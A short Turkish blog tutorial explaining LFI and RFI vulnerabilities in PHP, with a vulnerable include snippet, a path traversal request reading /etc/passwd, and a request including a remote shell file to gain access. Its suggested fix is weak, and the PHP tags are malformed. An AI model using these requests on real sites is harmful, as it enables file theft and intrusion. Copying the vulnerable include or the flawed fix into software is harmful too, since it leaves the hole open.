Local File Inclusion Nedir

Bugun herkesin merak ettiği Local File Inclusion Nedir ? konusundan bahsedeceğim.

LFI (Local File Inclusion – Serverdan Dosya Çağırma) sunucudan dosya çağırma işlemidir.

Acemi PHP yazılımcılarının dahil etme komutlarını (include, include_once, require, require_once) yanlış kullanması ile ortaya çıkan açıktır.

Sunucuda bulunan dosyaları okumanızı sağlar. Config dosyaları veya sistem dosyalarını okuyabilirsiniz. Sitede bulunan PHP dosyalarını çalıştırabilirsiniz.

Örnek olarak bir LFI açıklı kod.

 

<?php

include($_GET[“dil”]);

?>

 

Bu komut ne işe yarıyor ?

Bu komut dahil etme komutu. Yazılımcılar bunu başka amaçlarla kullanır. Saldırgan ise bunu kendi bakış açısına göre yorumlayıp kullanırsa açık çıkabilir.

Şimdi bir örnekle bakalım.

Saldırgan site.com?dil=../../../../etc/passwd yazarak /etc/passwd dosyasını okudu.

Saldırgan sitede bulunan diğer dosyaları da okuyabilir. Config dosyalarını, kullanıcı dosyalarını okuması güvenliği tehlikeye sokacaktır.

 

RFI (Remote File Inclusion) Açığı Nedir ?

RFI açığı LFI açığının çok benzeridir. LFI açığında local (yerel) bir dosya çağırırken RFI açığında uzaktan dosya çağırabilmekteyiz. Böyle bir durum olunca  saldırgan uzaktan backdoor veya shell yükleyebilir.

Örnek bir RFI açığı kodu:

?php

include($_GET[“dil”]);

?><

Şimdi RFI açığını nasıl çalıştıracağımıza bakalım.

Bir shell dosyasını dil değerine yazarak çalıştırabiliriz.

Site.com?dil=kurban.com/shell.txt olarak çalıştırabilirsiniz.

Hemen yazalım.

Evet shellimiz çalıştı.

Saldırgan böylelikle hedef siteye sızmış oldu. Saldırgan yetki yükseltme (privilege escalation) yaparsa içinde bulunan diğer sitelere zarar verebilir. Basit bir kodun nelere yol açtığını gördük. Şimdi ise açığımızın nasıl kapatılacağına geçelim.

LFI RFI Nasıl Engellenir ?

Zararlı Kod:

<?php

include($dil. “../index.php”);

?>

 

Açıksız Güvenli Kod:

<?php

$dil = “tr”;

include($dil. “../index.php”);

?>

Web sitenize bir pentest işlemi yaptırmanızda fayda var. İnclude gibi dahil etme (include_once, require, require_once) komutlarının kullanımını minimum düzeyde tutup kontrollü bir şekilde kullanmak gerekir. Aksi taktirde LFI RFI gibi zafiyetler meydana gelebilir.

Okuduğunuz için teşekkürler.

Diğer konumuzu okumayı unutmayın:https://sibermanset.com/manuel-sql-injection-nasil-yapilir/

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s